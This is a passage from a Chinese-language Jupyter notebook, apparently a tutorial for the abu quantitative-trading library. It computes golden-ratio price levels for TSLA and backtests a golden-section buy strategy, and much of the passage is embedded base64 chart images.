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\nuNcyXsVjzKTVIddkzF+eHfL88yeV4eE+RkbG8l6GFsl4FYexKh5jVjzGrFiM19K84657+Ns4widf\nfzHrTnBL6l/81g+4e/sUN/3GM2krLS4ZY7yKx5hJq4NtSpIkSVJO2ivJ5fhM7cRHKe7cP83anvZF\nJ2IkSfkxGSNJkiTlpKOcJmPmTmx76/l6nZHxGda7rbUkFYLJGEmSJCknjcqY6dqJJWP2Ts4yN19n\n+ARbnSRJ2TAZI0mSJOWkfZkqY0bGZwAY7mk/4TVJklaeyRhJkiQpJ+3prkczJ1gZMzI+DcBwr8kY\nSSoCkzGSJElSTg4M8D2xZMyOtDLGmTGSVAwmYyRJkqScdFSOv03pwV0TfP4Hj1Gv19lpZYwkFUol\n7wVIkiRJJ6vGzJjp40jGXPe5HzA6Ncfpg50LlTHDPVbGSFIRWBkjSZIk5eRE2pRGp+YAuPOxsQMz\nY/qsjJGkIjAZI0mSJOXkRHZTOnWgE4D7d+5nZHyGnvYyPe0WvktSEZiMkSRJknJyoDKmvuTfPT1N\nxmxNkzHr3NZakgrD1LkkSZKUk44TqIyZrycJnIf3TAJw3nDP8i1MkrSirIyRJEmSctJeKQEwfRwz\nYw6tphm2MkaSCsNkjCRJkpSTE5kZc+jvbOx3JyVJKgrblCRJkqScnMhuSjO1eQY6K3zy557GN+7d\nybWb1y/38iRJK8RkjCRJkpSTE6mMma3NUy23cfpgFz9/6RnLvTRJ0gqyTUmSJEnKSccJVMZMz80v\nVNZIkorFs7ckSZKUk0ZlzPRxVcbUaS+XlntJkqQMmIyRJEmScnJgZkz9GM98opna/EIyR5JULJ69\nJUmSpJwstCkdz25KNduUJKmoPHtLkiRJOamWj29mTL1eZ7ZWX/h9SVKxePaWJEmSclJpK1EuLb0y\nZjZta+owGSNJheTZW5IkScpRe6VtyZUxjedXHeArSYVkMkaSJEnKUXu5bcm7KTWSMc6MkaRi8uwt\nSZIk5ajjeCpj0uSNuylJUjF59pYkSZJy1F5pW/LMmMZW2CZjJKmYPHtLkiRJOeptrzA2Pbek33Fm\njCQVm8kYSZIkKUeDXVUmZ+eZmq0t+ndmnRkjSYXm2VuSJEnK0WB3FYC9k7OL/h1nxkhSsXn2liRJ\nknI02JUkY0YnF9+q5G5KklRsnr0lSZKkHA12VQDYMzmz6N9xgK8kFVtlMU8KITwL+GCM8aoQwnrg\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c21a95f28>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "golden(g382=198.05534, gex382=219.62314000000001, g500=214.85500000000002, gex500=227.61500000000001, g618=231.65466000000001, gex618=237.55788000000001, above618=237.55788000000001, below618=231.65466000000001, above382=219.62314000000001, below382=198.05534, above950=278.92150000000004, above900=271.803, above800=257.56600000000003, above700=246.13199999999998, below300=186.381, below250=179.26249999999999, below200=172.14400000000001)" ] }, "execution_count": 48, "metadata": {}, "output_type": "execute_result" } ], "source": [ "tl.golden.calc_golden(ABuSymbolPd.make_kl_df('usTSLA'))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "备注：有很多人说不应该使用黄金分割线，认为黄金分割线没有理论支撑，实际上一直强调的类似求解方程组，如果所有的参数都是未知数，将无法解出答案，所以一定要把一些变量变成常数值，然后通过这些常数值来确定更多的变量，最终解出你所关心的解，黄金分割线值是很好的制造非均衡环境的常数阀值。\n", "\n", "下面使用AbuUpDownGolden做为买入策略进行回测，如下：" ] }, { "cell_type": "code", "execution_count": 49, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:3\n", "买入后尚未卖出的交易数量:0\n", "胜率:33.3333%\n", "平均获利期望:2.4998%\n", "平均亏损期望:-10.2160%\n", "盈亏比:0.1900\n", "所有交易收益比例和:-0.1793 \n", "所有交易总盈亏和:-55053.6400 \n" ] } ], "source": [ "buy_factors = [{'class': AbuUpDownGolden}]\n", "abu_result_tuple, metrics = run_loo_back(us_choice_symbols, only_info=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "下面从交易结果单子中可视化买卖点，可以看到策略达成了在长线上涨，短线下跌，且有反弹迹象的时候买入：" ] }, { "cell_type": "code", "execution_count": 50, "metadata": {}, "outputs": [ { "data": { "image/png": "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